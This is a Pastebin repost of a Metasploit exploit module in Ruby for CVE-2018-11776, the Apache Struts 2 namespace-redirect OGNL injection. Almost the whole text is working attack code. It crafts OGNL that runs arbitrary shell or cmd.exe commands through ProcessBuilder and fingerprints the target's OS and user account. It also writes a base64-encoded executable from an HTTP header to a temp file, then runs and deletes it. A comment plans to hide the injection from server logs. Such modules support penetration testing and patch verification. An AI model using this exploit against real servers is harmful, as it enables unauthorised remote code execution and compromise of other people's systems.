Advertisement
TVT618

CVE-2018-11776

Sep 24th, 2018
651
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 15.04 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Exploit::Remote
  7.   Rank = ExcellentRanking
  8.  
  9.   include Msf::Exploit::Remote::HttpClient
  10.   include Msf::Exploit::EXE
  11.  
  12.   # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
  13.   #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
  14.  
  15.   def initialize(info = {})
  16.     super(update_info(info,
  17.       'Name'           => 'Apache Struts 2 Namespace Redirect OGNL Injection',
  18.       'Description'    => %q{
  19.         This module exploits a remote code execution vulnerability in Apache Struts
  20.         version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
  21.         via an endpoint that makes use of a redirect action.
  22.  
  23.         Native payloads will be converted to executables and dropped in the
  24.         server's temp dir. If this fails, try a cmd/* payload, which won't
  25.         have to write to the disk.
  26.       },
  27.       #TODO: Is that second paragraph above still accurate?
  28.       'Author'         => [
  29.         'Man Yue Mo', # Discovery
  30.         'hook-s3c',   # PoC
  31.         'asoto-r7',   # Metasploit module
  32.         'wvu'         # Metasploit module
  33.       ],
  34.       'References'     => [
  35.         ['CVE', '2018-11776'],
  36.         ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
  37.         ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
  38.         ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
  39.       ],
  40.       'Privileged'     => false,
  41.       'Targets'        => [
  42.         [
  43.           'Automatic detection', {
  44.             'Platform'   => %w{ unix windows linux },
  45.             'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
  46.           },
  47.         ],
  48.         [
  49.           'Windows', {
  50.             'Platform'   => %w{ windows },
  51.             'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
  52.           },
  53.         ],
  54.         [
  55.           'Linux', {
  56.             'Platform'       => %w{ unix linux },
  57.             'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
  58.             'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
  59.           },
  60.         ],
  61.       ],
  62.       'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
  63.       'DefaultTarget'  => 0))
  64.  
  65.       register_options(
  66.         [
  67.           Opt::RPORT(8080),
  68.           OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
  69.           OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
  70.           OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
  71.         ]
  72.       )
  73.       register_advanced_options(
  74.         [
  75.           OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
  76.           OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
  77.           OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
  78.         ]
  79.       )
  80.   end
  81.  
  82.   def check
  83.     # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
  84.     ognl = "#_memberAccess['allowStaticMethodAccess']"
  85.  
  86.     resp = send_struts_request(ognl)
  87.  
  88.     # If vulnerable, the server should return an HTTP 302 (Redirect)
  89.     #   and the 'Location' header should contain either 'true' or 'false'
  90.     if resp && resp.headers['Location']
  91.       output = resp.headers['Location']
  92.       vprint_status("Redirected to:  #{output}")
  93.       if (output.include? '/true/')
  94.         print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
  95.         datastore['ENABLE_STATIC'] = false
  96.         CheckCode::Vulnerable
  97.       elsif (output.include? '/false/')
  98.         print_status("Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'")
  99.         datastore['ENABLE_STATIC'] = true
  100.         CheckCode::Vulnerable
  101.       else
  102.         CheckCode::Safe
  103.       end
  104.     elsif resp && resp.code==400
  105.       # METHOD 2: Generate two random numbers, ask the target to add them together.
  106.       #   If it does, it's vulnerable.
  107.       a = rand(10000)
  108.       b = rand(10000)
  109.       c = a+b
  110.  
  111.       ognl = "#{a}+#{b}"
  112.  
  113.       resp = send_struts_request(ognl)
  114.  
  115.       if resp.headers['Location'].include? c.to_s
  116.         vprint_status("Redirected to:  #{resp.headers['Location']}")
  117.         print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
  118.         datastore['ENABLE_STATIC'] = false
  119.         CheckCode::Vulnerable
  120.       else
  121.         CheckCode::Safe
  122.       end
  123.     end
  124.   end
  125.  
  126.   def exploit
  127.     case payload.arch.first
  128.     when ARCH_CMD
  129.       resp = execute_command(payload.encoded)
  130.     else
  131.       resp = send_payload()
  132.     end
  133.   end
  134.  
  135.   def encode_ognl(ognl)
  136.     # Check and fail if the command contains the follow bad characters:
  137.     #   ';' seems to terminates the OGNL statement
  138.     #   '/' causes the target to return an HTTP/400 error
  139.     #   '\' causes the target to return an HTTP/400 error (sometimes?)
  140.     #   '\r' ends the GET request prematurely
  141.     #   '\n' ends the GET request prematurely
  142.  
  143.     # TODO: Make sure the following line is uncommented
  144.     bad_chars = %w[; \\ \r \n]    # and maybe '/'
  145.     bad_chars.each do |c|
  146.       if ognl.include? c
  147.         print_error("Bad OGNL request: #{ognl}")
  148.         fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
  149.       end
  150.     end
  151.  
  152.     # The following list of characters *must* be encoded or ORNL will asplode
  153.     encodable_chars = { "%": "%25",       # Always do this one first.  :-)
  154.                         " ": "%20",
  155.                         "\"":"%22",
  156.                         "#": "%23",
  157.                         "'": "%27",
  158.                         "<": "%3c",
  159.                         ">": "%3e",
  160.                         "?": "%3f",
  161.                         "^": "%5e",
  162.                         "`": "%60",
  163.                         "{": "%7b",
  164.                         "|": "%7c",
  165.                         "}": "%7d",
  166.                        #"\/":"%2f",       # Don't do this.  Just leave it front-slashes in as normal.
  167.                        #";": "%3b",       # Doesn't work.  Anyone have a cool idea for a workaround?
  168.                        #"\\":"%5c",       # Doesn't work.  Anyone have a cool idea for a workaround?
  169.                        #"\\":"%5c%5c",    # Doesn't work.  Anyone have a cool idea for a workaround?
  170.                       }
  171.  
  172.     encodable_chars.each do |k,v|
  173.      #ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)
  174.       ognl.gsub!("#{k}","#{v}")
  175.     end
  176.     return ognl
  177.   end
  178.  
  179.   def send_struts_request(ognl, payload: nil)
  180. =begin  #badchar-checking code
  181.     pre = ognl
  182. =end
  183.  
  184.     ognl = "${#{ognl}}"
  185.     vprint_status("Submitted OGNL: #{ognl}")
  186.     ognl = encode_ognl(ognl)
  187.  
  188.     headers = {'Keep-Alive': 'timeout=5, max=1000'}
  189.  
  190.     if payload
  191.       vprint_status("Embedding payload of #{payload.length} bytes")
  192.       headers[datastore['HEADER']] = payload
  193.     end
  194.  
  195.     # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
  196.     uri = "/#{ognl}/#{datastore['ACTION']}"
  197.  
  198.     resp = send_request_cgi(
  199.      #'encode'  => true,     # this fails to encode '\', which is a problem for me
  200.       'uri'     => uri,
  201.       'method'  => datastore['HTTPMethod'],
  202.       'headers' => headers
  203.     )
  204.  
  205.     if resp && resp.code == 404
  206.       fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
  207.     end
  208.  
  209. =begin  #badchar-checking code
  210.     print_status("Response code: #{resp.code}")
  211.     #print_status("Response recv: BODY '#{resp.body}'") if resp.body
  212.     if resp.headers['Location']
  213.       print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
  214.       if resp.headers['Location'].split('/')[1] == pre[1..-2]
  215.         print_good("GOT 'EM!")
  216.       else
  217.         print_error("                       #{pre[1..-2]}")
  218.       end
  219.     end
  220. =end
  221.  
  222.     resp
  223.   end
  224.  
  225.   def profile_target
  226.     # Use OGNL to extract properties from the Java environment
  227.  
  228.     properties = { 'os.name': nil,          # e.g. 'Linux'
  229.                    'os.arch': nil,          # e.g. 'amd64'
  230.                    'os.version': nil,       # e.g. '4.4.0-112-generic'
  231.                    'user.name': nil,        # e.g. 'root'
  232.                    #'user.home': nil,       # e.g. '/root' (didn't work in testing)
  233.                    'user.language': nil,    # e.g. 'en'
  234.                    #'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
  235.                    }
  236.  
  237.     ognl = ""
  238.     ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
  239.     ognl << %Q|('#{rand_text_alpha(2)}')|
  240.     properties.each do |k,v|
  241.       ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
  242.     end
  243.     ognl = ognl[0...-4]
  244.  
  245.     r = send_struts_request(ognl)
  246.  
  247.     if r.code == 400
  248.       fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
  249.     elsif r.headers['Location']
  250.       # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
  251.       #   Extract the OGNL output from the Location path, and strip the two random chars
  252.       s = r.headers['Location'].split('/')[1][2..-1]
  253.  
  254.       if s.nil?
  255.         # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
  256.         #   But we didn't get any output, so we can't profile the target.  Abort.
  257.         return nil
  258.       end
  259.  
  260.       # Confirm that all fields were returned, and non include extra (:) delimiters
  261.       #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.
  262.       if s.count(':') > properties.length
  263.         print_error("Failed to profile target.  Response from server: #{r.to_s}")
  264.         fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
  265.       end
  266.  
  267.       # Separate the colon-delimited properties and store in the 'properties' hash
  268.       s = s.split(':')
  269.       i = 0
  270.       properties.each do |k,v|
  271.         properties[k] = s[i]
  272.         i += 1
  273.       end
  274.  
  275.       print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
  276.         " #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
  277.       return properties
  278.     else
  279.       print_error("Failed to profile target.  Response from server: #{r.to_s}")
  280.       fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
  281.     end
  282.   end
  283.  
  284.   def execute_command(cmd_input, opts={})
  285.     # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
  286.     if cmd_input.include? ';'
  287.       print_warning("WARNING: Command contains bad characters: semicolons (;).")
  288.     end
  289.  
  290.     begin
  291.       properties = profile_target
  292.       os = properties[:'os.name'].downcase
  293.     rescue
  294.       vprint_warning("Target profiling was unable to determine operating system")
  295.       os = ''
  296.       os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
  297.       os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
  298.       os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
  299.     end
  300.  
  301.     if (os.include? 'linux') || (os.include? 'nix')
  302.       cmd = "{'sh','-c','#{cmd_input}'}"
  303.     elsif os.include? 'win'
  304.       cmd = "{'cmd.exe','/c','#{cmd_input}'}"
  305.     else
  306.       vprint_error("Failed to detect target OS.  Attempting to execute command directly")
  307.       cmd = cmd_input
  308.     end
  309.  
  310.     # The following OGNL will run arbitrary commands on Windows and Linux
  311.     #   targets, as well as returning STDOUT and STDERR.  In my testing,
  312.     #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
  313.  
  314.     vprint_status("Executing: #{cmd}")
  315.  
  316.     ognl =  ""
  317.     ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
  318.     ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
  319.     ognl << %q|(#p.redirectErrorStream(true)).|
  320.     ognl << %q|(#process=#p.start()).|
  321.     ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
  322.     ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
  323.     ognl << %q|(#r.flush())|
  324.  
  325.     r = send_struts_request(ognl)
  326.  
  327.     if r && r.code == 200
  328.       print_good("Command executed:\n#{r.body}")
  329.     elsif r
  330.       if r.body.length == 0
  331.         print_status("Payload sent, but no output provided from server.")
  332.       elsif r.body.length > 0
  333.         print_error("Failed to run command.  Response from server: #{r.to_s}")
  334.       end
  335.     end
  336.   end
  337.  
  338.   def send_payload
  339.     # Probe for the target OS and architecture
  340.     begin
  341.       properties = profile_target
  342.       os = properties[:'os.name'].downcase
  343.     rescue
  344.       vprint_warning("Target profiling was unable to determine operating system")
  345.       os = ''
  346.       os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
  347.       os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
  348.       os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
  349.     end
  350.  
  351.     data_header = datastore['HEADER']
  352.     if data_header.empty?
  353.       fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
  354.     end
  355.  
  356.     random_filename = datastore['TEMPFILE']
  357.  
  358.     # d = data stream from HTTP header
  359.     # f = path to temp file
  360.     # s = stream/handle to temp file
  361.     ognl  = ""
  362.     ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
  363.     ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
  364.     ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
  365.     ognl << %q|(#f.setExecutable(true)).|
  366.     ognl << %q|(#f.deleteOnExit()).|
  367.     ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
  368.     ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
  369.     ognl << %q|(#s.write(#d)).|
  370.     ognl << %q|(#s.close()).|
  371.     ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
  372.     ognl << %q|(#p.start()).|
  373.     ognl << %q|(#f.delete()).|
  374.  
  375.     success_string = rand_text_alpha(4)
  376.     ognl << %Q|('#{success_string}')|
  377.  
  378.     exe = [generate_payload_exe].pack("m").delete("\n")
  379.     r = send_struts_request(ognl, payload: exe)
  380.  
  381.     if r && r.headers && r.headers['Location'].split('/')[1] == success_string
  382.       print_good("Payload successfully dropped and executed.")
  383.     elsif r && r.headers['Location']
  384.       vprint_error("RESPONSE: " + r.headers['Location'])
  385.       fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
  386.     elsif r && r.code == 400
  387.       fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
  388.     end
  389.   end
  390. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement